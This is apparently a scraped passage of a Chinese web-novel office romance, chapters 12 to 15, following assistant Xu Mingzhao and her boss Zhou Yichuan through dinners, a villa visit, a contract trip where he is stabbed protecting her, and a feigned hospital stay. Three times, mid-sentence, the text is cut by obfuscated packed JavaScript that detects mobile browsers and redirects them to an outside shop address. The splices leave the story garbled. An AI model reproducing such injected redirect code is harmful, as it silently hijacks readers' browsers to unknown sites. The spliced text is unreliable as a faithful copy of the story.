许明朝的大脑给胃下达指令,让它再撑十分钟,到家再鬼叫,但是显然,她的胃有自己的想法。 安静的密闭空间里,清晰地传出一声—— “咕~” 许明朝:“……” 想死。 短暂的插曲过后,车内又恢复安静。 许明朝希望周屹川并没有注意到刚刚那个尴尬的叫声,她用手捂住了胃的位置,警告它不要再为非作歹。 就在许明朝以为这件事就这么无声无息地过去了的时候,周屹川忽然冷不丁地问她:“你饿了?” 许明朝:? 就让这件事平静地过去不好吗? “没有啊。”许明朝打算装作没发生过这回事。 周屹川:“那你肚子叫什么?” “没有吧。您可能……幻听了?” 许明朝刚说完,又一声“咕~”传来。 许明朝:艹。 “现在也是我幻听了?” 许明朝:“……” 您没幻听,您只是在狗叫。 恰好车开到一个路口,周屹川忽然打方向盘,向左转了个弯。 许明朝看见他往反方向转,急忙说:“周总,去我家要右转。” 周屹川目视前方,单手托着方向盘,似乎不以为意:“嗯,然后呢?” 许明朝再次提醒道:“您开错方向了。” “哦——”周屹川拖了一个长尾音,仿佛经过思考之后又恍然大悟,最后轻轻点了下头,“好像真开错了。” 许明朝:“……” “既然都开错了,那顺便吃个饭吧。” 许明朝:? - 周屹川把车开到了一家私房菜的门口,天色已经不早了,但这家私房菜似乎还是有不少顾客,里面的车位上停满了车。 周屹川开了一会儿,终于在一个角落的位置找到了空的车位。 车辆停的很密集,许明朝怕他停不好车,和旁边的车有碰撞,说道:“需要我下车帮您看着吗?” 周屹川看着车后视镜,依旧单手托着方向盘,靠在椅背上,略微散漫,一边倒车一边说:“你知道我请司机是为了什么吗?” 许明朝:? “就是为了有排场,不代表我开车不行。” 说完,他松开刹车,一下把车倒了进去。 车身很正,两边的白色实线和和车身距离相同。 停得很完美。 许明朝:“……” strong。 …… 周屹川带着许明朝进了那家私房菜馆,这家店不在市中心的位置,但是环境清幽,尽管时间已经不早,店里仍有不少客人。 走到门口,许明朝看见那里站着一个人,穿着V领花衬衫,脖子上戴着一根项链,泛着银色的光,一直手插在口袋里,另一只手夹着一根烟,吊儿郎当地靠在一边的柱子上。 看上去不像正经人。 许明朝原本以为他是在等别人,看到他们俩往门口走去,那位非正经人士同时向他们走了过来。 “你怎么快半夜了突然说要来我这——”池渡话讲到一半,视线忽然打了个弯,落到一旁的许明朝身上。 池渡愣了两秒,像是看见了什么新奇的东西,他后半句没讲下去,掐灭了手中的烟,过了会儿才不可置信地开口:“我操,你开窍了啊。” 周屹川没有接他的话,而是瞥了他一眼。 池渡噤言了。 许明朝一头雾水,不知道这两个人在打什么哑谜。 距离拉近,许明朝仔细打量了一下这位不正经人士,近距离观看比远距离更—— 不正经。 左耳带着一枚淡蓝色耳钉,胸口的位置似乎有纹身,但是只露出来一点点,不知道具体内容是什么。 在许明朝的印象里,周屹川是一个像机器一样精确的人,她以为他身边的朋友应该和他差不多,起码应该是西装革履。 但是面前这人显然不是这一挂的。 简直是两个极端。 许明朝思想在漫游,未曾发觉自己已经盯着人家看了一分钟。 池渡显然注意到了许明朝的目光,他挑了挑眉,说:“妹妹,这么喜欢盯着我看?” 许明朝脸红了,低下头。 周屹川上前搭住池渡的肩膀,把两人隔开,“你穿的这是什么玩意儿,衣衫不整的,把人都吓到了。” “什么啊,人家是看我长得帅,看入迷了懂不懂?” “别说废话……” 两个人走在前面,许明朝跟在他们身后,走了一段路之后,池渡把他们带到了一个包间。 “好不容易给你弄出来的一个包间,下次再这么临时说要位置就给我滚蛋。”池渡临走之前拍了拍周屹川的肩膀,给了他一个意味不明的表情。 许明朝没有看到,她被人戳破盯着人家看之后,眼睛就不敢再乱瞟,很乖顺地跟在周屹川身后。 包厢里有服务员在等待。 两人落座之后,服务员递上菜单。 许明朝很会看眼色地没有去接那份菜单,点菜这种事,肯定要老板先来。 而周屹川却没有动手的意思,淡淡说了声:“你点。” 许明朝:“老板,还是您先吧。” 服务员的手就这么举在半空中,不知道该递给谁。 周屹川催促道:“不要让人服务员举累了,快点。” “哦。”说完,许明朝把菜单拿了过来。 她象征性地勾了两道菜,没敢多选,打完勾又把菜单送到了周屹川手里。 周屹川看着她那两个拘谨的勾,拿起铅笔,连着打了好几个勾,打完把菜单交给了服务员。 他们这桌上菜很快,不到十分钟,就上了第一道菜。 许明朝很饿,而这道菜又实在太香,许明朝咽了口口水。 想吃。 但是周屹川没动筷子,她不敢先下嘴。 周屹川看出了她的思虑,说:“你吃吧,我不吃。” 许明朝茫然看着他 13. 第 13 章 许明朝洗完衣服,想着要不要和周屹川说一下这件事情。 她买的东西里面有瓜果蔬菜,现在天气这么热,如果不放进冰箱,可能会坏掉。 许明朝拿起手机,她没有周屹川的微信,只有他的电话号码。 但是想到这么晚了打电话给他可能会打扰他休息,犹豫再三,最后许明朝决定给他发一条信息。 【周总,我在超市的买的东西还在你的后备箱里,可以帮我放在冰箱里嘛,放外面可能会坏掉。】 许明朝的消息发出去之后,周屹川没有回复。 她玩了会儿手机,等了十分钟,还是杳无音讯。 现在已经快要两点了,可能是睡了吧。 许明朝不抱希望了,起码今晚吃了顿好的,也不算太亏,随即关掉了床头的小夜灯。 可能是昨天一晚上的加班让许明朝累着了,后来又吃的太饱容易犯困,她躺下没多久就睡着了。 一觉睡到了自然醒,外面天光大亮,阳光热烈,隔着窗帘都知道今天又是个好天气。 许明朝醒来第一件事是习惯性用手机看时间,已经上午十点了。 她注意到手机收到了一条新信息,来自—— 【狗总】 这是许明朝给周屹川的备注。 狗总:【好的。】 消息发送于7:38。 要不怎么说周屹川是npc呢,都不用睡觉的。 许明朝想了一会儿,在信息栏里输入—— 【周总,今天你在家吗?】 【方便我过来拿一下东西吗?】 周屹川日理万机,想来也不会秒回她,许明朝信息发送成功之后,放下手机去了卫生间洗漱。 等她洗漱完回来,收到了三条新信息。 【不在。】 【可以过来,家里有人。】 最后一条信息是一串地址。 这个地方目测距离不是太近,和她隔了一个区。 许明朝大约估算了一下从周屹川家到公司需要的时间,不禁更佩服他了。 通勤时间要花这么久,每天还那么早来公司。 许明朝吃过午饭后就出发,她的东西放在周屹川家的冰箱里,她总觉得不能安心。 她打开地图用了一下导航,发现去周屹川家不能坐地铁,因为距离他家最近的地铁口也有好一段里程。 地图上显示那个地方周围是大面积的绿化,果然是有钱人的世界。 许明朝用手机软件叫了个车,举着太阳伞在小区门口等。 夏天正午,天气异常热,她才等了一会儿就热得受不了。 好在中午路上的车不是很多,司机没一会儿也到了。 车穿过商业街区,穿过小区居民楼,越往周屹川家的方向开就越僻静,周围的风景也从高楼林立变成草地、湖泊。 开了四十多分钟,终于到了。 这里是一个别墅群,依山环水,大门口有门禁。 看到有车想进去,保安从保安亭里走出来。 “去哪?” 许明朝摇下车窗:“301幢。” 保安看见车里坐着的是个年轻女孩子,便说:“这里不让外来车辆进入,你走进去吧。” 许明朝透过前窗,看见挡车杆后面长长的水泥路。 这里的建筑物分散,不同的别墅之间有好一段距离,如果要走进去,不知道走半个小时能不能找到周屹川家。 许明朝看了看天上的太阳,还没开始走,已经开始晕头转向了。 但是这里的安保一看就知道很严格,许明朝放弃了让保安通融的想法。 早知道挑个傍晚的时间段来了。 许明朝正准备打开车门认命,车门开到一半,保安亭里又出来了一个保安。 这个保安看上去年纪要稍大一些。 “是去301幢吗?” 许明朝点点头:“是。” “许小姐是吗?” “对。” 随即保安对另一个稍年轻的保安说:“放行吧,301业主打电话说过了。” 许明朝一只脚已经踏出了车门,突然被告知不用自己走进去了,她果断又缩了回来。 拦车杆升起,许明朝坐着车,五分钟就到了。 她下车之前让司机在门口等她几分钟,这个地段她感觉打不到车回去。 走到别墅门口,许明朝按下门铃,等了一会儿,里面没有动静。 许明朝又按了一次,还是没有人来开门。 许明朝:? 不是在耍她吧? 许明朝在门口耗了十分钟,大门始终紧闭,没有一点要打开的迹象。 烈日当空,许明朝身上起了薄汗,一旁的出租车司机还停在路边等待。 许明朝不好意思让人家久等,万般纠结之下,拨通了狗总的电话。 电话响了三下被接起,“怎么了?” “周总,您家里——”许明朝停顿了一下,看了眼毫无动静的大门,“好像没人。” “你现在门口?” 许明朝:“嗯。” “稍等,我打个电话。” 过了两分钟,周屹川又打电话过来:“等我半小时,我马上到。” 许明朝:“……” 由于等的时间过长,许明朝不好意思再耽误司机工作,让他先走了。 一直到快下午两点,别墅门口开过来一辆宾利。 周屹川风尘仆仆,身上穿着正装,似乎刚从什么地方赶过来。 他走到门口,用人脸识别开门。 别墅里的温度比室外低多了,周屹川打开空调,凉风袭来,许明朝感觉自己终于活过来了。 别墅里的装潢很低调,家具多是低饱和色系,没有任何多余的装饰品,整洁地仿佛没有人居住,除了沙发上的抱枕有点乱了,多了几丝人味。 周屹川带着许明朝去厨房,走到一半,楼梯处传来动静。 “哥,你怎么这个时间回来了。”周听雾穿着睡衣,打着哈欠从楼梯上走下来,看到许明朝的时候,脚步忽然就顿住,她直直地盯着许明朝,有点震惊:“你不是那个——” 周听雾后半句话没说出口,周屹川打断了她:“周听雾,我打你那么多个电话为什么不接?” “啊?是吗?”周听雾从口袋里掏出手机,上面好几个未接电话,“真的诶!我刚刚在午睡,手机静音了啦。” 周屹川有点严肃:“我是不是告诉过你今天会有人过来?” 周听雾:“我忘了嘛~而且也没跟我说几点过来啊,难道要让我一直等着嘛。” 许明朝怕他们俩吵起来,如果让老板因为她的事情吵架,那她的罪过也太大了。 许明朝立刻认错:“我出门前应该先说一声的,是我的问题。” 暂时熄火。 周屹川没有说话,带着许明朝进了厨房。 食物都被放进了冰箱里,另外还有一个袋子放在一旁的大理石桌板上。 周屹川家的厨房很大,各种厨房设施一应俱全,但是都很新,有些甚至连包装膜都没撕掉,估计是从来没开过火。 冰箱里也几乎没什么东西,除了冰箱门上放了一些纯净水,剩下的几乎全是她买的东西。 许明朝速战速决,把她的东西都拿了出来。 “周总,今天真是麻烦您了,我先走了。”许明朝提着两大袋子,只想快点离开这个地方。 周屹川靠在厨房门口,看着她手忙脚乱的样子,说:“这个地方不好打车。” 许明朝:? “坐我的车回去吧。” 许明朝没有拒绝,就算她不想坐周屹川的车,现在也别无他法。 住在这里的人非富即贵,出门都是专车接送,自然不需要公交地铁这种公共交通工具,就连出租车和网约车也很少来这边。 她提着两大袋东西,不知道走一个小时能不能走到能打到车的地方。 许明朝看了眼外面的烈日,算了,和老板坐一辆车又不会死人,让她拎着十几斤东西在太阳下面走一两个小时,那是真的会死人。 许明朝走到客厅,周听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12502656|132563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾忽然走到她面前,递给她一杯水:“姐姐,给你喝水。” 许明朝双手都拿着东西,腾不出手来接她的水杯。 周听雾瞪了周屹川一眼:“哥,你怎么能让我姐拎东西呢?你的手长在那里是摆设吗?” 周屹川被周听雾凶了一顿,却没有反驳,走到许明朝旁边,向她伸出了手。 许明朝看着周屹川递过来的手,愣在原地不敢动。 周听雾把水杯放在一旁的桌子上,直接上手把许明朝手里的袋子递给了周屹川,“姐姐,你别客气,把我哥当老黄牛使就是了,他肯定听你的话。” 许明朝:“咳——” 听她的话。 这话听起来怎么那么奇怪。 把许明朝手里的袋子解决掉之后,周听雾又把水杯拿了过来:“姐姐,我刚刚在午睡,让你在门口等了一会,真是不好意思,不然我们俩加一个微信,下次我请你吃——” 她话说到一半,忽然一个凉凉的声音传来:“周听雾——” 周听雾抬头看向周屹川:“我加我姐微信,碍着你什么事,你至于这么宝——”贝—— 那个“贝”字还没来得及说出口,周屹川已经走到了她面前,伸出手捂着她的嘴把她拖走了。 周屹川把她拖到楼梯,一直把她送进了房间才松开手。 周听雾快憋坏了:“哥,你干嘛。楼下那个姐姐就是你的那个白月光对不对,我见过照片的,和照片上一模一样。” 周听雾的印象很深。 那个时候她还在读高中,正好暑假,她去M国找周屹川玩,住在他的房子里。 彼时周屹川的周屹川已经大三结束了,他读的是双学位,提前修满了学分,从大三下开始就在接手M国的分公司,虽然是暑假,但他异常的忙碌。 有一次,周听雾因为无聊,跑到他的书房找书看,她很好奇国外的大学课程是什么样的,在书架上翻到一半,突然从一本书里掉出来一个信封。 还有一张照片。 那是一张证件照,照片上是一个女孩子。 周听雾拿着这张照片观察了许久,照片的边缘已经泛黄,背面有胶水干涸的痕迹,还沾着一点红色的纸。 应该是从一张红色的纸上撕下来的。 至于那封信,她还没来得及看,周屹川突然出现在她的身后,夺走了她手里的东西,还把她狠狠教训了一顿,说她不该窥探别人的隐私。 更重要的是,周屹川停了她两个月的生活费。 那个暑假,她过得苦不堪言,只能靠她从前剩下来的为数不多的压岁钱过活。 今天她看见照片的真人版,那段令人难忘的回忆立刻就勾起来了。 周听雾叹了口气,“可是你上次不还答应了妈妈要相亲的嘛,那你也太不是个东西了吧,一边和别人相亲,一边把白月光放在身边……” 周听雾很诚恳:“哥,咱别当渣男行吗?” 周屹川冷冷地看着她:“你再给我胡说八道,我会停掉你所有的卡。” 周听雾当场就崩溃了,“哥,你也太恶毒了吧——” 周屹川没空听她的鬼哭狼嚎,转身走了。 - 周屹川的行程排的很满,下楼之后没有再耽搁,出了别墅上车。 车上。 许明朝也意识到自己好像给他添麻烦了,安静如鸡,尽量降低自己的存在感。 好在前面还有司机开车,没有昨天晚上尴尬。 周屹川在闭目养神,忽然一阵铃声响起。 他接通电话,是李特助的声音。 许明朝听不太真切,但隐约能听到对方说的大概内容。 “周总,和欧顿那边的合作是有什么问题吗?那边董秘跟我说您提前结束了会议。” 周屹川:“没有,是我这边有点急事。” 这下许明朝更不敢说话了。 通话结束后,沉默良久。 一直到许明朝快要下车,周屹川忽然对她说—— “下周,南山那边的几个合同,你和我一起去签。” 14. 第 14 章 “何姐的身体还没好吗?” 上次周屹川说休息一下就行,许明朝就没太放在心上,以为过了周末,何秋艳就会正常来上班。 但是下周签合同又要她来顶上,估计是病的有点严重。 周屹川:“嗯,让她多休息段时间。” 许明朝想着等会儿回家要不要先打个电话问下情况,要是严重的话抽个时间探望一下,毕竟从她入职星越以来,何秋艳给她提供过不少帮助,算是她职场上的引路人。 她正在思考,周屹川又重申了一遍上次的话:“别去打扰她,让她好好养病。” “……” 许明朝不明白为什么周屹川总是提这个事,生病了去探望不是人之常情吗? 或许是npc根本不会生病,所以他从来没有这种经历。 许明朝只能想到这种解释。 她懒得和npc争辩,车内又恢复了安静。 不一会儿,车就开到了小区门口。 司机停稳之后,许明朝马不停蹄地下了车。 许明朝去后备箱拿完自己的东西,把后备箱的门合上,司机一踩油门就走了,仿佛在着急赶路。 下午两点多,正是太阳最大的时候,许明朝感觉自己的皮肤都晒得发烫,再待下去可能要脱层皮。 她没有在外停留,拎着东西往小区里匆匆走去。 回到住处后,她立刻打开了房间的空调。 她检查了一下袋子里买的食材,在车的后备箱放了一夜竟然没有坏掉,虽然是晚上,但是夏天夜间温度也不算低,又在后备箱里闷着。 神奇。 因为从冰箱里拿出来没多久,上面布满了小小的水珠。 许明朝分门别类,把一部分东西放进冰箱,其他的日用品也各归各位,全部整理完后,去浴室冲了个澡。 冲完澡回来,房间里已经很凉快了,许明朝吹完头发,换上了睡衣。 正准备躺下,忽然想起来是不是要给何秋艳打个电话。 她做不到像周屹川那样冷血无情。 许明朝拿起桌面上的手机,在通讯录里找到何秋艳的名字,拨通了电话。 电话接通的很快,这是星越总裁办每个员工的职业素养。 “小许,什么事?” 何秋艳的声音从电话里传来,许明朝以为她的声音听上去应该会比较虚弱,但是隔着电话,她却一点都没感受到病气。 反而挺……中气十足。 许明朝:“何姐,我听周总说你身体不舒服,你还好吗?” “哦——”何秋艳停顿了一下,忽然咳了两声,“是啊,稍微有点不舒服,周总给我放了两天假,没什么大事,你不用担心。” “哦。”许明朝觉得有点奇怪。 刚刚那两声咳嗽怎么那么突兀……? 不过许明朝没有多问,“那你好好休息,我抽空过来看你。” 何秋艳的回答和周屹川如出一辙:“不用那么麻烦,我休息两天就去公司上班了,你忙你的。” 何秋艳再三坚持不用去看她,许明朝想到下个星期她还要忙南山那个项目的事情,忙完估计要很晚才下班,深夜前去打扰多有不便,于是没有坚持:“那好吧,你保重身体哦。” - 周一。 因为何秋艳在假期,那几个合同的事情理所当然由许明朝接手了。 何秋艳拟定的合同其实已经相当完善,许明朝不过是查漏补缺,工作量相对来说没那么大,只不过因为之前没有参与过南山项目,前期大部分的时间都花在了熟悉这个项目上面。 这件事情最棘手的地方在于对方不配合,不过上周的时候周屹川和何秋艳两个人已经把这部分处理完毕,她现在只不过是在做一些程序化的工作,并没有那么困难。 许明朝花了两天时间把合同正式敲定,给周屹川过目后,定下周三出发去南山签合同。 隔日,许明朝到公司不久,就随同周屹川一起出发去南山。 去南山一趟要两个小时的车程,他们上午九点上车,到南山地段时已经日到中午。 下车之后,许明朝以为会直接去那几个拆迁户的家里,不料周屹川却没有急着去,而是问她:“你饿吗?” 许明朝早上只匆匆吃了几口面包就出门了,又舟车劳顿,她有点怕等会儿会体力不支,但是说要去吃饭又怕耽误老板的事。 如果她是跟着何秋艳出来,一定会选择先吃饭。 但是这次是和周屹川—— 她一直觉得吃饭和睡觉在周屹川眼里是多余的事情。 周屹川看出了许明朝的欲言又止,她还没回答,他就先做决定了,“先吃饭吧。” 南山位于A市周边的一个小县城,这里工业化落后,而正是因为没有被过度工业化,保留了很多大自然的生态,没有环境污染,山清水秀。 星越打算在这里开发出一个大型度假区,A市经济发达,高楼林立,里面的人呆久了繁华的钢铁森林,会需要这样一个安宁平静的地方。 周屹川随便找了街边的一家馆子吃饭。 许明朝原本以为周屹川这样的人不会来这种小饭馆,就凭这个人在办公室里不能看到一点灰尘的性格,这种街边馆子,应该会退避三舍才对。 难道是怕她工作进行到一半因为饥饿出幺蛾子,所以不得不就迁就她? 走进饭馆之后,他们点了两荤两素,坐下。 等到老板过来上菜,许明朝以为周屹川又会像上次那样,坐在她的对面看着她吃饭,然后说—— “我从不在外面的小饭馆吃饭。” 这次却没有像她想的那样。 周屹川自然地拿起了筷子,两人各吃各的饭。 吃完饭快十二点,他们没有再耽搁,出发去那几户拆迁户的家里。 星越要建得旅游度假区从半山腰开始,一直蔓延到山下一整片区域。 要拆迁的那批房子就建在那里。 要说为什么之前这件事情耽搁了那么久没解决,起因是拆迁户中有一个刺头,为了多要拆迁款,联合了当地一批人,死活不肯松口。 其实那批人里面并不是每一个都想着狮子大开口,有一部分人是被那个刺头忽悠的,而另一部分人则是被那个刺头威胁的。 上周,周屹川和何秋艳两个人,把那批人拆开谈之后,有些之前被忽悠的人就开始松口了,有了突破口,接下来的事情就变得容易许多。 最后那批人里面只剩下两个人咬定要两千万。 一个是那个刺头,另一个是他的堂弟。 他们要去的第一家是那户家里有人生病的人家。 那户人家,男主人是清洁工,女主人之前是做保姆的,后来他们的儿子得了肾病,她就在家照顾儿子。 之前那个刺头骗他们说赔付拆迁款是假的,只是想把他们从这里赶走,根本不会给钱,让他们两个按照他说的做,事成之后,会给他们分一百万。 他们一辈子没念过书,大字不识几个,同村人这么说,他们就跟着信了。 后来周屹川帮他们的儿子转到了A市的一家医院,垫付了医药费,医药费就从后面要打给他们的拆迁款里扣。 老两口看见自己的儿子接受到好的治疗了,才信了会赔八百万是真的。 许明朝跟着周屹川走到那户人家门口,这间房子看上去应该已经建了很久了,只有两层,是样式很老的自建房。 房子外表只有正面上了白色的石灰,其他几面还是红砖。 看得出来这户人家经济状况不好。 走到他们的院子门口,院子有简陋的木质篱笆围着,还有一扇已经缺了角的小门,透过篱笆,可以看到里面有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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南山不比在市里,就算到了夜晚,也是灯光璀璨,一片明亮。 这里连路都没有修,更别说路灯了。 周屹川的车停在山脚下的一片空地上,他们顺着山上的土路往下走,路很崎岖,并不好走。 好在今晚的月亮很大,南山没有工业污染,也没有光污染,月亮挂在夜空中格外的明亮清晰。 许明朝好久都没见过这么大的月亮了,很开心,她突然想起那句话,今晚的月色很美—— 然后看见走在前面的周屹川。 ——适合刺猹。 山路走到一半,旁边的草丛有簌簌作响的声音,许明朝有点奇怪地往旁边看了眼。 但是南山的植被过于丰富,许明朝只看到黑漆漆一片。 她忽然有点害怕,叫住了周屹川:“周总,你听见声音了吗?” 同一时间,周屹川也停下了脚步。 “不会是蛇吧。”许明朝说。 周屹川好像察觉是哪里不对劲:“好像不是。” 他话音刚落,从旁边的草丛里突然蹿出来两个黑影,直直地就冲着他们飞奔过来。 许明朝下意识地后退了几步,不知道现在是什么状况。 看上去好像是两个人,故意在这蹲他们。 那两个人人高马大的,不过目标好像不是她,而是周屹川。 他们一左一右,围攻在周屹川身边。 许明朝不知道该怎么办,以她的战斗力就算她冲了过去也无济于事,可能还会给他添麻烦。 事情发生的太突然,她浑身的血液都凝固了。 过了十几秒才响起来,她可以报警。 对,报警。 她拿出手机,迅速拨通了110。 对面虽然有两个人,但或许是多年来没有锻炼,只是看上去吓人,真的和周屹川过起招来,他们并没有占到什么便宜。 于是领头的那个改变策略,说:“搞旁边那个女的。” 话音一落,两个人突然调转方向。 许明朝恍惚间看到有一个银白色的器具像她挥过来,在月光下面闪了一下,但是在那个白光落到她身上之前,有一个黑影以更快的速度挡在了她面前。 15. 第 15 章 那个黑影速度太快,四周黑灯瞎火的,许明朝都没看清,只感觉到自己被往后挤了一段距离,因为路面不平,她没站稳,往后摔去。 好在警车来得很快,在这片寂静的土地上,警笛声尤为响亮。 有些还居住在这里的住户,听到警笛声,打开灯出来看热闹。 四周不断有灯光亮起,那两个人见状,知道这里不能再久留,逃窜到了旁边的树林里,不一会儿就没了影。 许明朝从地上爬起来,走到周屹川身边。 他倒在地上,一动不动的,许明朝大脑一片混乱,刚刚那道银白色的光,如果她记得没错,好像是一把刀。 意识到这件事情后,许明朝心凉了半截。 她蹲下身,不知道该怎么办,她的老板虽然狗了一点,但是罪不至死。 更何况,狗狗不是人类最好的朋友吗? 看到人类最好的朋友躺在地上,毫无知觉的样子,是个人都会伤心吧? 许明朝没忍住,眼眶瞬间就湿润了,她轻轻碰了下周屹川的肩膀,声音有些颤抖—— “老板,你死了吗?” 沉默。 周围只有风吹动树叶的声音。 十秒钟过后,还是毫无动静。 呜呜呜,怎么办,他好像真的死了。 许明朝正准备哭,忽然旁边的人突然动了一下。 许明朝愣住了,正要夺眶而出的眼泪也憋了回去,她屏住呼吸,竖起耳朵仔细听动静,紧接着旁边传来一声很轻的叹息—— “唉。” 许明朝:? 周屹川的声音明显有些虚弱,但还没到快要失去意识的程度:“许明朝。” 他轻声念她的名字:“你是想让一个活人回答死了,还是想听一个死人回答活着?” 狗老板还能阴阳怪气,那就是没什么大碍,许明朝喜极而泣:“老板,你没死啊,太好了呜呜呜,你死了我的工作可怎么办啊……” “……” 周屹川不知道该说什么。 行吧,就算是为工作哭的,那也算哭了。 警车没一会儿就开到了山脚下,因为这里没有修路,车上不了山,几个民警打着手电往山上走。 看见山脚下面一闪一闪的灯光,许明朝站起来朝他们呼救:“警察叔叔——我们在这——” 警察拿手电朝他们的地方向照了照,确定位置后,往他们地方向火速赶来。 警察到的时候,那两个人早已经跑没影了,现在是晚上,又在山里,抓捕起来困难非常大,现在首要的事情是救治伤者。 那把刀扎在周屹川的左肩上,好在扎进去的时候,周屹川用右手握住了对方的手腕,两股力量对冲之下,刀扎得不是很深。 但警察毕竟不是医生,不敢贸然处理,只能先拿纸巾止血,那把刀还明晃晃地插在周屹川的肩膀上,旁边的民警刚刚已经拨打了120,等着医生过来。 - 周屹川被送到了南山县医院的急诊,医生把刀取了出来,给他的伤口做了消毒缝合处理。 而那把取出来的刀,则是交到了警方手里。 南山的医疗水平肯定不如A市,但是去A市的车程太长,为了防止路途颠簸,伤口会发炎乃至发烧,医生建议先留院观察一晚,第二天再决定要不要转院。 警察是第二天来做的笔录,休息一晚过后,周屹川的脸色明显已经好多了。 昨晚突袭的那两个人蒙着脸,天又黑,看不清相貌,周屹川根据那两个人的身型和说话的声音判断,应该是之前组织村民开价2000万拆迁费的那个人,另一个是他的堂弟。 因为没有要到自己想要的钱,还把他之前组织起来的一批人瓦解了,所以怀恨在心,蓄意报复。 警察做完笔录,对他们说:“情况我们都已经了解了,那把刀已经拿去做检测了,如果有新一步进展,我们会通知你们的。” 周屹川受伤的消息并没有大面积传播开去,只有小范围的人才知道情况。 最先知道的是李特助,因为李特助手里有很多工作需要和周屹川做交接,不能和他断联。 李特助的效率很高,当天早上就联系好了A市的一家私人医院。 上午,周屹川从南山出发回A市。 周屹川受伤了没法开车,许明朝主动担任起了司机这个角色,毕竟昨天晚上,要不是周屹川挡在了她面前,现在挨刀子的恐怕就是她了。 哪有让伤者开车的道理呢? 周屹川坐上了副驾驶的位置,他很少坐这个位置,以前要么坐驾驶位自己开车,要么就坐在后面让司机开。 上车之前,他一再确认:“你真的可以吗?” 许明朝信誓旦旦:“放心吧老板,我们一定会活着抵达的。” “……”这听起来可不太妙。 许明朝的驾照是念大学的时候考的,后来毕了业,也没多少开车的机会,在平坦的大路上,她的开车技术勉强够用,但是在南山这个地势不太平坦的地区,属实有些吃力。 一路上,她打起了十二分精神。 周屹川看着她精神高度紧张的模样,忽而勾了勾唇角,然后靠在了椅背上闭上眼睛休息。 但是事情没有他想象中的那么顺利,南山地势崎岖,加上许明朝的开车技术,一路上更是颠簸。 在这铁皮盒子里,他就像一颗跳跳糖。 如果不是安全带在绑着,他可能已经在上下弹来弹去了。 在经过一座很陡的桥时,许明朝控制不好踩刹车的力度,车一会开一会儿又骤停,在桥的下坡路上,持续了好一会儿,硬生生把周屹川震得睁开了眼睛。 看到许明朝正聚精会神地盯着路面,周屹川本来要说出口的话咽了回去,还是缓缓再说吧。 等到完全下了那座桥,周屹川才开口:“你这是在带我过奈何桥呢?” “嘿嘿。”许明朝有点不好意思:“为了您的安全着想嘛,我这是谨慎。” 周屹川:“……有心了。” 后半程周屹川休息不下去了,坐在副驾驶座一路指导,一直到车开到A市。 - 李特助早就在医院门口等候,和他一起等候的还有几个医护人员,抬着担架,以备不时之需。 周屹川从副驾驶上出来,李特助走上前去:“周总,您能走路吗?要不还是让担架抬吧。” 周屹川果断拒绝了:“不用,又不是伤在腿上。” “方医生已经在等您了,让他再给您检查一下吧。” “嗯。”周屹川淡淡应了一声,回头对许明朝说:“你把车停好就回家吧,剩下的事情让李誉来就行了,今天给你放一天假。” 周屹川说完,就随李誉进了医院的大门。 许明朝本来还想说些什么,但是不好耽误周屹川去做检查,最终什么都没说。 - 检查室。 周屹川和方木是老相识,当年在M过留学的时候就认识,方木比他大三届,周屹川读本科的时候,他在医学院硕博连读。 后来方木回了国,在周屹川的引荐下来了这家私立医院工作,也成为了周屹川的御用医生。 方木检查了一下周屹川的伤口,刀口不深,除了缝合技术不是太精细,没什么太大的问题。 考虑到周屹川是个工作狂,方木觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12502658|132563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这样的伤口不足以让他放弃工作,便对他说:“问题不大,定期来换药就行了。” “不用做别的检查了吗?” 方木:“?” “我觉得我流的血有点多,不用验个血吗?”周屹川坐在椅子上,方木正在给他缠纱布,“方医生,你是不是有点不严谨了?” 方木:“???” 方木一脑门子问号,都快怀疑面前这个人是不是被夺舍了。 三年前他发高烧,来这里输液,输完一分钟都不肯多呆就要走,连热度都没完全退下去。方木劝了他好久都不肯住院,说有个合作要去谈。 如今这个伤口又不深,也没体温,倒是主动要求做检查了? 方木:“行吧,那就给你安排一个全身检查。” 病人这么要求,方木也没理由拒绝。 私立医院的病人没有很多,更何况周屹川这样的人有vip通道,做全身检查也花不了多少时间。 两个小时后,方医生看着他的各项指标,说:“没什么大问题,注意休息就行,可以回去了。” “真的没问题吗?”周屹川反问他。 “可是我的头有点晕哎。”漫不经心,一点没看出来头晕。 “不然再住院观察一下?”询问,但更像是建议。 “住一个礼拜。”最后是笃定的语气。 方医生:“……” 你是不是疯了? - 傍晚时分,许明朝正在收拾东西。 上午的时候周屹川说让她直接回家,但她还是去了一趟公司,把合同送过去才安心。 昨天晚上在南山的医院凑合过了一夜,没地方洗澡换衣服,许明朝送完合同回到住处洗了个澡,顺便补了一下觉。 睡醒之后,她还是有点不放心,给周屹川打了个电话,结果听到他说要住院一个星期。 许明朝有点不敢相信,今天上午的时候明明还好好的,怎么会那么严重? 出于愧疚,许明朝问他:“周总,那你有人照顾吗?” “没有呢。” “那不然……我来照顾你?” 许明朝也只是试探性地问了一句,毕竟周屹川这种平时一副“生人勿近”的人,不会想让一个与他不熟的人贴身照顾。 结果他说—— “好。” 许明朝:“……” 好好好,自己挖坑自己跳。 她正在收拾去医院照顾病患用得到的东西,手机忽然弹出微信消息。 